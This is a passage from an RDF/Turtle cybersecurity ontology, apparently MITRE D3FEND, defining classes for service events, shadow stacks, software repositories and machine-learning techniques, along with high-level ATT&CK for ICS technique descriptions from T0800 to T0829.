    rdfs:label "Service Deletion Event" ;
    d3f:definition "An event capturing the uninstallation or deregistration of a service application, ensuring it is no longer operational or available to clients." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ServiceInstallationEvent ],
        d3f:ApplicationDeletionEvent,
        d3f:ServiceEvent .

d3f:ServiceDisableEvent a owl:Class ;
    rdfs:label "Service Disable Event" ;
    d3f:definition "An event capturing the deactivation of a service application, preventing it from being started or accessed until re-enabled." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ServiceEnableEvent ],
        d3f:ApplicationDisableEvent,
        d3f:ServiceEvent .

d3f:ServiceRestartEvent a owl:Class ;
    rdfs:label "Service Restart Event" ;
    d3f:definition "An event describing the sequential stopping and starting of a service application to refresh its state, apply updates, or resolve operational issues." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ServiceStopEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:ServiceStartEvent ],
        d3f:ApplicationRestartEvent,
        d3f:ServiceEvent .

d3f:ServiceUpdateEvent a owl:Class ;
    rdfs:label "Service Update Event" ;
    d3f:definition "An event describing changes made to a service application, such as updates, reconfigurations, or patch installations, ensuring its continued availability and functionality." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ServiceInstallationEvent ],
        d3f:ApplicationUpdateEvent,
        d3f:ServiceEvent .

d3f:ShadowStack a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shadow Stack" ;
    d3f:copy-of d3f:CallStack ;
    d3f:definition "A shadow stack is a mechanism for protecting a procedure's stored return address, such as from a stack buffer overflow. The shadow stack itself is a second, separate stack that \"shadows\" the program call stack. In the function prologue, a function stores its return address to both the call stack and the shadow stack. In the function epilogue, a function loads the return address from both the call stack and the shadow stack, and then compares them. If the two records of the return address differ, then an attack is detected." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Shadow_stack> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:copy-of ;
            owl:someValuesFrom d3f:CallStack ],
        d3f:DigitalInformationBearer .

d3f:SingularValueDecomposition a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Singular Value Decomposition" ;
    d3f:d3fend-id "D3A-SVD" ;
    d3f:definition "Singular Value Decomposition (SVD) is an algorithm that represents a matrix as a linear series of data and to find the set of factors that will best predict an outcome" ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Singular value decomposition. [Link](https://en.wikipedia.org/wiki/Singular_value_decomposition)""" ;
    rdfs:subClassOf d3f:DimensionReduction .

d3f:SoftwareArtifactServer a owl:Class ;
    rdfs:label "Software Artifact Server" ;
    d3f:definition "A software artifact server provides access to the software artifacts in a software repository. A software repository, or \"repo\" for short, is a storage location for software packages. Often a table of contents is stored, as well as metadata. Repositories group packages. Sometimes the grouping is for a programming language, such as CPAN for the Perl programming language, sometimes for an entire operating system, sometimes the license of the contents is the criteria. At client side, a package manager helps installing from and updating the repositories." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Artifact_(software_development)>,
        <http://dbpedia.org/resource/Software_repository> ;
    rdfs:subClassOf d3f:ArtifactServer .

d3f:SoftwarePatch a owl:Class ;
    rdfs:label "Software Patch" ;
    d3f:definition "A patch is a piece of software designed to update a computer program or its supporting data, to fix or improve it. This includes fixing security vulnerabilities and other bugs, with such patches usually called bugfixes or bug fixes, and improving the usability or performance. Although meant to fix problems, poorly designed patches can sometimes introduce new problems (see software regressions). In some special cases updates may knowingly break the functionality, for instance, by removing components for which the update provider is no longer licensed or disabling a device." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Patch_(computing)> ;
    rdfs:subClassOf d3f:Software ;
    skos:altLabel "Patch" .

d3f:SoftwareRepository a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Repository" ;
    d3f:contains d3f:SoftwarePackage ;
    d3f:definition "A software repository, or repo for short, is a storage location for software packages. Often a table of contents is also stored, along with metadata. A software repository is typically managed by source or version control, or repository managers. Package managers allow automatically installing and updating repositories, sometimes called 'packages'." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Software_repository> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:SoftwarePackage ],
        d3f:Repository ;
    skos:altLabel "Package Repository" .

d3f:SomersD a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Somers' D" ;
    d3f:d3fend-id "D3A-SD" ;
    rdfs:subClassOf d3f:RankCorrelationCoefficient .

d3f:SoundexMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Soundex Matching" ;
    d3f:d3fend-id "D3A-SM" ;
    d3f:definition "Soundex is a phonetic algorithm for indexing names by sound, as pronounced in English." ;
    d3f:kb-article """## How it works
The goal is for homophones to be encoded to the same representation so that they can be matched despite minor differences in spelling. The algorithm mainly encodes consonants; a vowel will not be encoded unless it is the first letter. Soundex is the most widely known of all phonetic algorithms (in part because it is a standard feature of popular database software. Improvements to Soundex are the basis for many modern phonetic algorithms.

## References
1. Soundex. (2023, April 19). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Soundex)""" ;
    rdfs:subClassOf d3f:PartialMatching .

d3f:SourceCodeAnalyzerTool a owl:Class ;
    rdfs:label "Source Code Analyzer Tool" ;
    d3f:definition "A source code analyzer tool is a static analysis tool that operates specifically on source code, but not object code." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Static_program_analysis> ;
    rdfs:subClassOf d3f:StaticAnalysisTool .

d3f:SpearmansRankCorrelationCoefficient a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Spearman's Rank Correlation Coefficient" ;
    d3f:d3fend-id "D3A-SRCC" ;
    d3f:synonym "Spearman's Rho" ;
    rdfs:subClassOf d3f:RankCorrelationCoefficient .

d3f:SpectralClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Spectral Clustering" ;
    d3f:d3fend-id "D3A-SC" ;
    d3f:definition "Spectral clustering is a technique that identifies communities of nodes in a graph based on the edges connecting them." ;
    d3f:kb-article """## References
Towards Data Science. (n.d.). Spectral Clustering. [Link](https://towardsdatascience.com/spectral-clustering-aba2640c0d5b)""" ;
    rdfs:subClassOf d3f:Graph-basedClustering .

d3f:StackSegment a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Stack Segment" ;
    d3f:contains d3f:StackFrame ;
    d3f:definition "The stack segment contains the program stack, a last-in-first-out structure, typically allocated in the higher parts of memory for the process." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Call_stack>,
        <http://dbpedia.org/resource/Data_segment#Stack> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:StackFrame ],
        d3f:ProcessSegment .

d3f:Stacking a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Stacking" ;
    d3f:d3fend-id "D3A-STA" ;
    d3f:definition "Stacking is a method of using the results and predictions from one layer of ML models as inputs to another layer of ML models. Stacking (sometimes called stacked generalization) involves training a model to combine the predictions of several other learning algorithms." ;
    d3f:kb-article """## References
Ensemble learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Ensemble_learning).""" ;
    rdfs:subClassOf d3f:EnsembleLearning .

d3f:StartupDirectory a owl:Class ;
    rdfs:label "Startup Directory" ;
    d3f:definition "A startup directory is a directory containing executable files or links to executable files which are run when a user logs in or when a system component or service is started." ;
    rdfs:subClassOf d3f:Directory,
        d3f:LocalResource .

d3f:StorageDeviceEvent a owl:Class ;
    rdfs:label "Storage Device Event" ;
    d3f:definition "An event describing the activity, configuration, or errors of storage devices, including physical disks, SSDs, or logical partitions. These events often pertain to data availability, integrity, and storage health." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:SecondaryStorage ],
        d3f:HardwareDeviceEvent .

d3f:StringEquivalenceMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "String Equivalence Matching" ;
    d3f:d3fend-id "D3A-SEM" ;
    d3f:definition "String equivalence matching is a type of string pattern matching which is exact; that is, the strings being compared must have the same value for each character in their sequence and be of the same length." ;
    d3f:kb-article """## References
1. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm)
2. Types of Equality. (2007, March 2). In _WikiWikiWeb_. [Link](https://wiki.c2.com/?TypesOfEquality)""" ;
    rdfs:subClassOf d3f:EquivalenceMatching,
        d3f:StringPatternMatching .

d3f:StringFormatFunction a owl:Class ;
    rdfs:label "String Format Function" ;
    d3f:definition "A function which creates a new string based on a format specification and correspondingi specified values." ;
    rdfs:subClassOf d3f:Subroutine .

d3f:StyleGAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "StyleGAN" ;
    d3f:d3fend-id "D3A-STY" ;
    d3f:definition "Successor to the ProGAN." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). StyleGAN. [Link](https://en.wikipedia.org/wiki/StyleGAN)""" ;
    d3f:synonym "Style GAN" ;
    rdfs:subClassOf d3f:ImageSynthesisGAN .

d3f:SubspaceClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Subspace Clustering" ;
    d3f:d3fend-id "D3A-SC" ;
    d3f:definition "Subspace clustering is an extension of traditional clustering that seeks to find clusters in different subspaces within a dataset." ;
    d3f:kb-article """## References
Parsons, L., Haque, E., & Liu, H. (2004). Subspace Clustering for High Dimensional Data: A Review. [Link](https://www.kdd.org/exploration_files/parsons.pdf)""" ;
    rdfs:subClassOf d3f:CorrelationClustering .

d3f:SubstringMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Substring Matching" ;
    d3f:d3fend-id "D3A-SM" ;
    d3f:definition "String-searching algorithms, sometimes called string-matching algorithms, are an important class of string algorithms that try to find a place where one or several strings (also called patterns) are found within a larger string or text." ;
    d3f:kb-article """## References
1. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm)""" ;
    rdfs:subClassOf d3f:PartialMatching .

d3f:SupplyChainAttacker a owl:Class ;
    rdfs:label "Supply Chain Attacker" ;
    d3f:definition "An attacker who exploits vulnerabilities in the supply chain to compromise systems or data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Software ],
        d3f:Attacker .

d3f:SupportVectorMachineClassification a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Support Vector Machine Classification" ;
    d3f:d3fend-id "D3A-SVMC" ;
    d3f:definition "Support Vector Machine (SVM) is a robust classification and regression technique that maximizes the predictive accuracy of a model without overfitting the training data. SVM is particularly suited to analyzing data with very large numbers (for example, thousands) of predictor fields." ;
    d3f:kb-article """## References
About Support Vector Machine (SVM). IBM SPSS Modeler SaaS Documentation. [Link](https://www.ibm.com/docs/en/spss-modeler/saas?topic=models-about-svm&mhsrc=ibmsearch_a&mhq=support%20vector%20machine).""" ;
    rdfs:subClassOf d3f:Classification .

d3f:Switch a owl:Class ;
    rdfs:label "Switch" ;
    d3f:definition "A network switch (also called switching hub, bridging hub, and by the IEEE MAC bridge) is networking hardware that connects devices on a computer network by using packet switching to receive and forward data to the destination device. A network switch is a multiport network bridge that uses MAC addresses to forward data at the data link layer (layer 2) of the OSI model. Some switches can also forward data at the network layer (layer 3) by additionally incorporating routing functionality. Such switches are commonly known as layer-3 switches or multilayer switches." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Network_switch> ;
    rdfs:subClassOf d3f:ComputerNetworkNode ;
    skos:altLabel "Bridging Hub",
        "MAC Bridge",
        "Network Switch",
        "Switching Hub" .

d3f:SymmetricFeature-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Symmetric Feature-based Transfer Learning" ;
    d3f:d3fend-id "D3A-SFTL" ;
    d3f:definition "Homogeneous symmetric transformation takes both the source feature space Xs and target feature space Xt and learns feature transformations as to project each onto a common subspace Xc for adaptation purposes. This derived subspace becomes a domain-invariant feature subspace to associate cross-domain data, and in effect, reduces marginal distribution differences." ;
    d3f:kb-article """## References
Day, O., & Khoshgoftaar, T.M. (2017). A survey on heterogeneous transfer learning. *Journal of Big Data, 4*(1), 29. [Link](https://doi.org/10.1186/s40537-017-0089-0).""" ;
    rdfs:subClassOf d3f:HomogenousTransferLearning .

d3f:SymmetricKey a owl:Class ;
    rdfs:label "Symmetric Key" ;
    d3f:definition "A symmetric key is a single key used for both encryption and decryption and used with a symmetric-key algorithm. Symmetric-key algorithms are algorithms for cryptography that use the same cryptographic keys for both encryption of plaintext and decryption of ciphertext. The keys may be identical or there may be a simple transformation to go between the two keys. The keys, in practice, represent a shared secret between two or more parties that can be used to maintain a private information link. This requirement that both parties have access to the secret key is one of the main drawbacks of symmetric key encryption, in comparison to public-key encrytption (also known as asymmetric key encryption)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Symmetric-key_algorithm> ;
    rdfs:subClassOf d3f:CryptographicKey .

d3f:SystemCallEvent a owl:Class ;
    rdfs:label "System Call Event" ;
    d3f:definition "An event where a user-space process requests a service or resource from the operating system kernel through a system call interface, enabling controlled interactions with hardware or kernel-level operations." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:KernelEvent .

d3f:SystemInitProcess a owl:Class ;
    rdfs:label "System Init Process" ;
    d3f:definition "A system initialization process is a process that executes to initialize (boot) an operating system." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Booting>,
        <http://dbpedia.org/resource/Linux_startup_process>,
        <http://dbpedia.org/resource/Windows_startup_process> ;
    rdfs:subClassOf d3f:OperatingSystemProcess ;
    skos:altLabel "System Initialization Process",
        "System Startup Process" .

d3f:SystemUtilizationRecord a owl:Class ;
    rdfs:label "System Utilization Record" ;
    d3f:definition "A system utilization record is a record for the tracking of resource utilization e.g. CPU, Disk, Network, Memory Bandwidth, GPU, or other resources for a given time period." ;
    rdfs:subClassOf d3f:Record .

d3f:T0800 a owl:Class ;
    rdfs:label "Activate Firmware Update Mode - ATTACK ICS" ;
    d3f:attack-id "T0800" ;
    d3f:definition "Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Activate Firmware Update Mode" .

d3f:T0801 a owl:Class ;
    rdfs:label "Monitor Process State - ATTACK ICS" ;
    d3f:attack-id "T0801" ;
    d3f:definition "Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Monitor Process State" .

d3f:T0802 a owl:Class ;
    rdfs:label "Automated Collection - ATTACK ICS" ;
    d3f:attack-id "T0802" ;
    d3f:definition "Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Automated Collection" .

d3f:T0803 a owl:Class ;
    rdfs:label "Block Command Message - ATTACK ICS" ;
    d3f:attack-id "T0803" ;
    d3f:definition "Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011)  (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016)" ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Block Command Message" .

d3f:T0804 a owl:Class ;
    rdfs:label "Block Reporting Message - ATTACK ICS" ;
    d3f:attack-id "T0804" ;
    d3f:definition "Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Block Reporting Message" .

d3f:T0805 a owl:Class ;
    rdfs:label "Block Serial COM - ATTACK ICS" ;
    d3f:attack-id "T0805" ;
    d3f:definition "Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Block Serial COM" .

d3f:T0806 a owl:Class ;
    rdfs:label "Brute Force I/O - ATTACK ICS" ;
    d3f:attack-id "T0806" ;
    d3f:definition "Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary's goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point." ;
    rdfs:subClassOf d3f:ATTACKICSImpairProcessControlTechnique ;
    skos:prefLabel "Brute Force I/O" .

d3f:T0807 a owl:Class ;
    rdfs:label "Command-Line Interface - ATTACK ICS" ;
    d3f:attack-id "T0807" ;
    d3f:definition "Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: Enterprise ATT&CK January 2018) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Command-Line Interface" .

d3f:T0808 a owl:Class ;
    rdfs:label "Control Device Identification - ATTACK ICS" ;
    d3f:attack-id "T0808" ;
    d3f:definition "Adversaries may perform control device identification to determine the make and model of a target device. Management software and device APIs may be utilized by the adversary to gain this information. By identifying and obtaining device specifics, the adversary may be able to determine device vulnerabilities. This device information can also be used to understand device functionality and inform the decision to target the environment." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Control Device Identification" .

d3f:T0809 a owl:Class ;
    rdfs:label "Data Destruction - ATTACK ICS" ;
    d3f:attack-id "T0809" ;
    d3f:definition "Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: Enterprise ATT&CK January 2018)" ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Data Destruction" .

d3f:T0810 a owl:Class ;
    rdfs:label "Data Historian Compromise - ATTACK ICS" ;
    d3f:attack-id "T0810" ;
    d3f:definition "Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Data Historian Compromise" .

d3f:T0811 a owl:Class ;
    rdfs:label "Data from Information Repositories - ATTACK ICS" ;
    d3f:attack-id "T0811" ;
    d3f:definition "Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases in the process environment, as well as databases in the corporate network that might contain information about the ICS.(Citation: Cybersecurity & Infrastructure Security Agency March 2018)" ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Data from Information Repositories" .

d3f:T0812 a owl:Class ;
    rdfs:label "Default Credentials - ATTACK ICS" ;
    d3f:attack-id "T0812" ;
    d3f:definition "Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Keith Stouffer May 2015)" ;
    rdfs:subClassOf d3f:ATTACKICSLateralMovementTechnique ;
    skos:prefLabel "Default Credentials" .

d3f:T0813 a owl:Class ;
    rdfs:label "Denial of Control - ATTACK ICS" ;
    d3f:attack-id "T0813" ;
    d3f:definition "Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)" ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Denial of Control" .

d3f:T0814 a owl:Class ;
    rdfs:label "Denial of Service - ATTACK ICS" ;
    d3f:attack-id "T0814" ;
    d3f:definition "Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Denial of Service" .

d3f:T0815 a owl:Class ;
    rdfs:label "Denial of View - ATTACK ICS" ;
    d3f:attack-id "T0815" ;
    d3f:definition "Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)" ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Denial of View" .

d3f:T0816 a owl:Class ;
    rdfs:label "Device Restart/Shutdown - ATTACK ICS" ;
    d3f:attack-id "T0816" ;
    d3f:definition "Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Device Restart/Shutdown" .

d3f:T0817 a owl:Class ;
    rdfs:label "Drive-by Compromise - ATTACK ICS" ;
    d3f:attack-id "T0817" ;
    d3f:definition "Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session. With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Drive-by Compromise" .

d3f:T0818 a owl:Class ;
    rdfs:label "Engineering Workstation Compromise - ATTACK ICS" ;
    d3f:attack-id "T0818" ;
    d3f:definition "Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Engineering Workstation Compromise" .

d3f:T0819 a owl:Class ;
    rdfs:label "Exploit Public-Facing Application - ATTACK ICS" ;
    d3f:attack-id "T0819" ;
    d3f:definition "Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Exploit Public-Facing Application" .

d3f:T0820 a owl:Class ;
    rdfs:label "Exploitation for Evasion - ATTACK ICS" ;
    d3f:attack-id "T0820" ;
    d3f:definition "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features." ;
    rdfs:subClassOf d3f:ATTACKICSEvasionTechnique ;
    skos:prefLabel "Exploitation for Evasion" .

d3f:T0821 a owl:Class ;
    rdfs:label "Modify Controller Tasking - ATTACK ICS" ;
    d3f:attack-id "T0821" ;
    d3f:definition "Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Modify Controller Tasking" .

d3f:T0822 a owl:Class ;
    rdfs:label "External Remote Services - ATTACK ICS" ;
    d3f:attack-id "T0822" ;
    d3f:definition "Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. (Citation: Daniel Oakley, Travis Smith, Tripwire)" ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "External Remote Services" .

d3f:T0823 a owl:Class ;
    rdfs:label "Graphical User Interface - ATTACK ICS" ;
    d3f:attack-id "T0823" ;
    d3f:definition "Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Graphical User Interface" .

d3f:T0824 a owl:Class ;
    rdfs:label "I/O Module Discovery - ATTACK ICS" ;
    d3f:attack-id "T0824" ;
    d3f:definition "Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    owl:deprecated true ;
    skos:prefLabel "I/O Module Discovery" .

d3f:T0825 a owl:Class ;
    rdfs:label "Location Identification - ATTACK ICS" ;
    d3f:attack-id "T0825" ;
    d3f:definition "Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries (Citation: Guidance - NIST SP800-82). While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Location Identification" .

d3f:T0826 a owl:Class ;
    rdfs:label "Loss of Availability - ATTACK ICS" ;
    d3f:attack-id "T0826" ;
    d3f:definition "Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)" ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Loss of Availability" .

d3f:T0827 a owl:Class ;
    rdfs:label "Loss of Control - ATTACK ICS" ;
    d3f:attack-id "T0827" ;
    d3f:definition "Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)" ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Loss of Control" .

d3f:T0828 a owl:Class ;
    rdfs:label "Loss of Productivity and Revenue - ATTACK ICS" ;
    d3f:attack-id "T0828" ;
    d3f:definition "Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments." ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Loss of Productivity and Revenue" .

d3f:T0829 a owl:Class ;
    rdfs:label "Loss of View - ATTACK ICS" ;
    d3f:attack-id "T0829" ;
